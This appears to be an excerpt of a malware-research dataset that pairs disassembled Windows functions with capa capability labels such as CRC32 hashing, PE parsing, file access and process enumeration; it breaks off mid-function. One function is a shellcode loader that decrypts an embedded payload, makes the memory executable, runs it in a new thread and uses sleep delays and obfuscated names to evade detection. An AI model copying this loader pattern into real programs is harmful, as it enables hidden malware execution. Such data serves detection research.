joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000da20
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xf0]
lea r11, [0x1400591c0]
mov rax, qword [rcx + 0xf8]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x3f40], ebx
jne 0x14000dab6
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.1400220b0
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x14000dac0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0xf8]
lea r9, [0x1400591c0]
vmovss xmm3, dword [rcx + 0x110]
vmovss xmm4, dword [rcx + 0x114]
movsxd rcx, dword [rcx + 0xf0]
vmovss xmm0, dword [rdx]
vmovss xmm2, dword [rdx + 4]
vsubss xmm1, xmm0, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
vmovss dword [rsp], xmm1
movzx eax, byte [rsp]
xor rcx, rax
movzx eax, byte [rsp + 1]
vmovss xmm1, dword [rdx + 8]
vsubss xmm0, xmm2, xmm4
vmovss dword [rsp + 4], xmm0
xor r8d, dword [r9 + rcx*4]
vmovss xmm0, dword [rdx + 0xc]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
vsubss xmm2, xmm1, xmm3
vmovss dword [rsp + 8], xmm2
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
vsubss xmm1, xmm0, xmm4
vmovss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret
Function at 0x14001a9a0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140068010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140068da0]
mov edi, ecx
cmp byte [rbx + 0x4a9d], 0
jne 0x14001aa01
cmp byte [rbx + 0x4a9e], 0
jne 0x14001aa01
movsx r9d, word [rbx + 0x5bc2]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140009d10
test dil, 1
je 0x14001ab2f
jmp 0x14001aa89
vmovss xmm1, dword [rbx + 0x389c]
vmovss xmm0, dword [0x14005e754]
vfmadd213ss xmm0, xmm1, dword [rbx + 0xe0c]
vmovss xmm2, dword [0x14005e770]
vfmadd213ss xmm2, xmm1, dword [rbx + 0xe08]
movsx r9d, word [rbx + 0x5bc2]
lea r8, str.Tooltip__02d
xor eax, eax
mov dword [rbx + 0x47d4], 1
vmovss dword [rbx + 0x47e0], xmm2
vmovss dword [rbx + 0x47e4], xmm0
mov qword [rbx + 0x47e8], rax
lea rcx, [rsp + 0x20]
vmovss xmm0, dword [rbx + 0x3904]
vmulss xmm1, xmm0, dword [0x14005e67c]
or dword [rbx + 0x47d0], 0x41
lea edx, [rax + 0x10]
vmovss dword [rbx + 0x4830], xmm1
call fcn.140009d10
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14001aae0
lea r11, [0x1400591c0]
nop dword [rax]
cmp r9b, 0x23
jne 0x14001aac3
cmp byte [r8], r9b
jne 0x14001aac3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14001aab0
not ecx
call fcn.1400118c0
test rax, rax
je 0x14001ab2f
cmp byte [rax + 0xb6], 0
je 0x14001ab2f
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, 0x10
inc word [rbx + 0x5bc2]
movsx r9d, word [rbx + 0x5bc2]
call fcn.140009d10
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.140014090
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140052740
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1400209c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5ca8], 0
lea rbx, [rcx + 0x5cb0]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140020a67
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x140020a1a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140022dd0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.14000a900
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5ca8]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5cb8]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140068d98]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x140020a6f
mov rcx, rbx
call fcn.14000a900
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140020ee0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140068da0]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140020f43
mov qword [rsp], rbx
lea rbx, [0x1400591c0]
nop dword [rax]
cmp r9b, 0x23
jne 0x140020f23
cmp byte [r8], r9b
jne 0x140020f23
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140020f10
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5c20]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x140020f77
mov r10, qword [r10 + 0x5c28]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x140020f7e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x140020f64
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140053450
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005349a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005349a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005349a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005349a
cmp dword [rcx + 0x84], 0xe
jbe 0x14005349a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14005349c
xor al, al
add rsp, 0x28
ret
Function at 0x1400030d0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140003092
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140003524
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14057c418]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14057c414]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140003572
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000356a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140003659
inc ebx
add rax, 0x28
jmp 0x14000354a
mov rcx, r12
call fcn.140003d51
mov rbp, rax
test rax, rax
jne 0x140003591
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400034c0
movsxd rbx, ebx
mov rax, qword [0x14057c418]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140003dff
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14057c418]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1400035f3
mov rax, qword [0x14057c418]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400034c0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140003653
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140003653
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14057c418]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140003653
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400034c0
inc dword [0x14057c414]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140003a80
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14057c480]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14057c460]
test rbx, rbx
je 0x140003acc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140003ac6
test eax, eax
jne 0x140003ac6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140003a9e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140003c80
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140003ca3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140003ca3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140003ca4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140003cde
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140003cd5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140003ce0
inc r8d
add rax, 0x28
jmp 0x140003cbc
xor eax, eax
ret

Function at 0x140003d51
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1405782d0]
mov r8, rcx
mov rcx, r9
call fcn.140003c80
test eax, eax
je 0x140003d7d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140003ca4
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400016d1
Capabilities:
Create thread

Disassembly:
push rbp
mov eax, 0x17c80
call fcn.140002a00
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x17bd4], 0
movabs rax, 0xdcd15a9c86820b5e
movabs rdx, 0xe0a88d5981fc0d5d
mov qword [rbp + 0x17bc0], rax
mov qword [rbp + 0x17bc8], rdx
lea rax, [rbp - 0x40]
lea rdx, section..rdata
mov ecx, 0x17c00
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x17bfc], 0x17c00
movabs rax, 0x32336c656e72656b
mov qword [rbp - 0x4d], rax
movabs rax, 0x6c6c642e32336c
mov qword [rbp - 0x48], rax
mov dword [rbp + 0x17bf8], 0
mov qword [rbp + 0x17bf0], 0
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov r9d, 0x10
lea r8, str.YVgCOEnkdcXswFd
mov edx, 0xc
lea rax, [0x140003010]
mov rcx, rax
call sym.pwOzZExLukT_char__unsigned_long_long__char__int_
mov eax, dword [0x14001bc34]
movd xmm0, eax
call sym.SleepShort_float_
lea rax, [rbp - 0x4d]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [0x140003010]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x14001f030], rax
mov r10, qword [0x14001f030]
mov eax, dword [rbp + 0x17bfc]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp + 0x17be8], rax
mov eax, dword [0x14001bc34]
movd xmm0, eax
call sym.SleepShort_float_
lea rcx, [rbp + 0x17bc0]
mov edx, dword [rbp + 0x17bfc]
lea rax, [rbp - 0x40]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.StcSUDGO_char__unsigned_int__char__unsigned_long_long_
mov ecx, dword [rbp + 0x17bfc]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x17be8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov eax, dword [0x14001bc34]
movd xmm0, eax
call sym.SleepShort_float_
mov edx, dword [rbp + 0x17bfc]
lea rcx, [rbp + 0x17bd4]
mov rax, qword [rbp + 0x17be8]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x17be4], eax
mov rax, qword [rbp + 0x17be8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x17bd8], rax
mov eax, dword [0x14001bc38]
movd xmm0, eax
call sym.SleepShort_float_
mov rax, qword [rbp + 0x17bd8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x17c80
pop rbp
ret

Function at 0x140001c60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x1400013c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1400610a0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r10, qword [rdx + 0x10]
mov rax, rdx
mov r8, rcx
test r10, r10
je 0x140001466
test dword [rdx + 0x18], 0x2000000
je 0x14000147d
mov r9, qword [rdx]
cmp r9, qword [rdx + 8]
jne 0x140001466
cmp dword [rdx + 0x1c], 0
jne 0x14000141d
mov rax, qword [r8]
mov ecx, dword [rcx + 0x180]
cmp dword [rax + 0x38], ecx
je 0x14000141d
xor edx, edx
mov rax, r10
div rcx
test rdx, rdx
jne 0x140001466
mov rcx, qword [r8 + 0xa0]
mov rax, qword [r8 + 0x170]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x40], 0x4000
mov qword [rsp + 0x50], r10
mov qword [rsp + 0x38], r9
test rcx, rcx
je 0x1400014af
mov rax, qword [rcx]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x38]
lea r8, [rsp + 0x50]
call qword [rax + 0x10]
mov eax, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140010c50
add rsp, 0x68
ret
mov rcx, qword [rax]
lea r9, [rsp + 0x48]
mov r8d, 0x40
mov rdx, r10
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140010c50
add rsp, 0x68
ret
call fcn.14000e848
int3
Function at 0x140006280
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x80
mov rax, qword [0x1400610a0]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor r15d, r15d
mov qword [rsp + 0x60], rcx
cmp qword [rdx + 0x18], 8
mov rax, rdx
mov rdi, rcx
jb 0x1400062b3
mov rax, qword [rdx]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400062f5
mov qword [rdi], r15
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r15
jmp 0x14000642d
mov qword [rsp + 0xb0], rbp
xor edx, edx
mov qword [rsp + 0x78], rsi
mov rcx, rbx
mov qword [rsp + 0x70], r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
mov r9d, 4
mov r8d, 0x3000
mov r14d, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x140006410
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], r15
mov r8d, r14d
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400063ff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x58], r15
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
test r14d, r14d
je 0x1400063d2
cmp r14, 0x1000
jb 0x1400063a9
lea rcx, [r14 + 0x27]
cmp rcx, r14
jbe 0x14000644f
call fcn.140010cac
mov rcx, rax
test rax, rax
je 0x140006449
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400063b1
mov rcx, r14
call fcn.140010cac
lea rbx, [rax + r14]
mov qword [rsp + 0x48], rax
mov r8, r14
mov qword [rsp + 0x58], rbx
mov rdx, rbp
mov rcx, rax
call fcn.140012ca0
mov qword [rsp + 0x50], rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x48]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rdx
jmp 0x14000641b
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [rdi], r15
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r15
mov rsi, qword [rsp + 0x78]
mov rbp, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x70]
mov rax, rdi
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140010c50
add rsp, 0x80
pop r15
pop rdi
pop rbx
ret
call fcn.14001846c
int3
call fcn.140002980
int3
Function at 0x140006460
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x1400610a0]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov rdi, rcx
mov qword [rsp + 0x78], rcx
mov byte [rbp - 0x80], 0
mov qword [rsp + 0x20], rcx
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rax, [0x14005a7d0]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rsp + 0x38], xmm0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x70], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140006551
lea rdx, [rbp - 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140006547
nop dword [rax + rax]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400065e3
mov rax, qword [rcx]
lea rdx, [rsp + 0x70]
call qword [rax + 0x10]
mov rcx, rbx
test al, al
je 0x14000654a
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006510
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000656c
lea rdx, [rsp + 0x30]
cmp rcx, rdx
mov rax, qword [rcx]
setne dl
call qword [rax + 0x20]
movzx ebx, byte [rbp - 0x80]
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x1400065ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400065a6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400065e9
mov rcx, r8
call fcn.140010c78
xor eax, eax
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], 7
mov word [rdi], ax
movzx eax, bl
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140010c50
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.14000e848
nop
call fcn.14001846c
int3
Function at 0x14000f5dc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14000f660
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14002f660]
cmp byte [rcx + rax], 0
je 0x14000f660
dec r8
sub rdx, 1
jne 0x14000f646
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140011a04
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140011a4e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140011a4e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140011a4e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140011a4e
cmp dword [rcx + 0x84], 0xe
jbe 0x140011a4e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140011a50
xor al, al
add rsp, 0x28
ret

Function at 0x14001dc54
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001da50

Function at 0x1400211dc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400211f2
mov al, 1
jmp 0x140021252
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140021203
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140021250
mov ecx, dword [rcx + 0x18]
nop
call fcn.140028688
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140021250
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140021250
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140021250
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140021252
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140023bb0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400114e0
sub rsp, rax
mov rax, qword [0x1400610a0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1400210bc
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140023bff
mov rax, rbp
jmp 0x140023d07
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x63530]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140024afc
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x63530]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140023d03
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
